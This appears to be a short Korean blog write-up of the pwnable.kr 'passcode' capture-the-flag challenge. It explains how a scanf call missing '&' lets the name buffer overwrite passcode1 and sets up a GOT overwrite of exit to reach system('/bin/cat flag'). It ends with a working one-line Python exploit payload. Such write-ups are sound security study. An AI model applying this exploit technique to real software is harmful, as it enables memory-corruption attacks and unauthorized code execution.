긁적
scanf할떄 & 안쓰다니,,, 열혈C안봤나
쨋든 저거때문에 overwrite 되여. 근데 뭘 overwrite시키지 하면서 어셈좀 봤는데
name 영역 : ebp - 0xc ~ ebp - 0x70
passcode1 영역 : ebp - 0xc~ ebp - 0x10
name ~ passcode1 까지 거리 = 0x70 - 0x10 = 0x60 = 96
name에서 100까지 입력할수 있으니까
음
dummy [96 byte] + @GOT[4byte]
를 name에 넣고
passcode1 에 @GOT 덮을 주소를 넣으면 되겠네
GOT는 exit덮지 뭐 덮을 주소는 system("/bin/cat flag") 인걸로
ㄱㄱㄱㄱㄱㄱ
귀차느니 구하는건 다 생략 어렵지도 않고
(python -c 'print "A"*96 + "\x18\xa0\x04\x08"+"\n"+"134514147"+"\n"+"ABCD"+"\n"') | ./passcode
끝
'Pwnable' 카테고리의 다른 글
[overthewire] leviathan (0) | 2017.08.18 |
---|---|
[Toddler's Bottle] asm (0) | 2017.07.09 |
[Toddler's Bottle] lotto (0) | 2017.07.04 |
[Toddler's Bottle] blackjack (0) | 2017.07.04 |
[Toddler's Bottle] UAF (0) | 2017.07.04 |